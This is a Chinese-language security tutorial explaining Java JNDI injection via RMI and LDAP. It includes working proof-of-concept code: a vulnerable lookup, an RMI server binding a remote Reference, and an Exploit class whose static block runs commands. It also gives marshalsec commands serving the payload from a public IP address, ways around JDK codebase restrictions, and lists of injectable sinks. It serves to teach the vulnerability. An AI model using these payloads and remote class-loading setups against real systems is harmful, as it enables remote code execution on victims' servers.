Java安全之JNDI注入

2023-08-13 10:33:14 浏览数 (2)

简介

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

Naming就是名称服务,通过名称查找实际对象的服务。值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:

代码语言:javascript复制
cn=John, o=Sun, c=US

即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。

Directory就是目录服务,目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索对象。目录服务(Directory Service)提供了对目录中对象(directory objects)的属性进行增删改查的操作。

从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI 架构上主要包含两个部分,即 Java 的应用层接口(API)和 SPI。

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

利用原理

JNDI基本代码如下

代码语言:javascript复制
String jndiName= "";  // 指定需要查找name名称
Context context = new InitialContext();  // 初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);  // 通过name发现和查找数据和对象

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

通过lookup()指定参数中确定查找协议,JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示:

协议

schema

Context

DNS

dns://

com.sun.jndi.url.dns.dnsURLContext

RMI

rmi://

com.sun.jndi.url.rmi.rmiURLContext

LDAP

ldap://

com.sun.jndi.url.ldap.ldapURLContext

LDAP

ldaps://

com.sun.jndi.url.ldaps.ldapsURLContextFactory

IIOP

iiop://

com.sun.jndi.url.iiop.iiopURLContext

IIOP

iiopname://

com.sun.jndi.url.iiopname.iiopnameURLContextFactory

IIOP

corbaname://

com.sun.jndi.url.corbaname.corbanameURLContextFactory

通过精心构造服务端的返回,我们可以让请求查找的客户端解析远程代码,最终实现远程命令执行。对于不同的内置目录服务有不同的攻击面

JNDI RMI

RMI的核心特点之一就是动态类加载,假如当前Java虚拟机中并没有此类,它可以去远程URL中去下载这个类的class,而这个class文件可以使用web服务的方式进行托管。

JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过References类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,我们可以直接将对象写在构造方法或者静态代码块中,当被调用时,实例化会默认调用构造方法,以及静态代码块,就在这里实现了任意代码执行

代码语言:javascript复制
public Class loadClass(String className, String codebase)
    throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    ClassLoader cl =
             URLClassLoader.newInstance(getUrlArray(codebase), parent);

    return loadClass(className, cl);
}

这里写一个Demo

代码语言:javascript复制
// victim.java

import javax.naming.Context;
import javax.naming.InitialContext;

public class Victim {

    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/aa";
        Context ctx = new InitialContext();
        ctx.lookup(uri);  //uri可控

    }
}
代码语言:javascript复制
// RMI.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMI {

    public static void main(String args[]) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa", refObjWrapper);

    }

}

然后写恶意对象的类,这里要得到回显就略显麻烦

代码语言:javascript复制
// Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit implements ObjectFactory
{
    static {
        System.err.println("success");
        try {
            String cmd = "calc.exe";
            Runtime.getRuntime().exec(cmd);
            Runtime runtime = Runtime.getRuntime();
            Process process = runtime.exec("cmd.exe /c dir");
            InputStream inputStream = process.getInputStream();
            BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, "gb2312"));
            while(br.readLine()!=null)
                System.out.println(br.readLine());

        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

将这个恶意类编译后放到new Reference()绑定的HTTP目录下,注意这里编译的 java 版本和前面版本一致

代码语言:javascript复制
javac Exploit.java
python -m http.server 8000

然后让Victim访问RMI即可执行命令

因为在6u141,7u131,8u121之后,新增了 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase选项,虽然该更新阻止了RMICORBA触发漏洞,但是我们仍然可以使用LDAP协议进行攻击。随后在6u211,7u201.8u191中,又新增了 com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项

JNDI LDAP

ldap的属性值中可以被用来存储Java对象,通过Java序列化,或者 JNDI Reference 来存储。运行后客户端程序会获取并解析 LDAP 记录,从而根据属性名称去获取并实例化远程对象

一般我们不需要自主搭建服务器,可以借助工具marchalsec来实现

代码语言:javascript复制
mvn clean package -DskipTests 

通过 maven 搭建一下,然后进入 target 目录,有生成的jar包

代码语言:javascript复制
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

例如LDAP Server使用工具起

代码语言:javascript复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://150.158.173.89:8888/#Exploit" 9999

绕过高版本限制

两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

详细可以参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用 | KINGX

探索高版本 JDK 下 JNDI 漏洞的利用方法 | 浅蓝

最后

JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务,进而导致加载不安全的远程代码导致代码执行。漏洞虽然出现在 InitialContext 及其子类 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有许多其他的方法间接调用了 lookup(),比如:

  • InitialContext.rename()
  • InitialContext.lookupLink()

或者在一些常见外部类中调用了 lookup(),比如:

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

这些地方一旦可控都可能成为 JNDI 的注入点,或者结合其他利用链反序列化

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

0 人点赞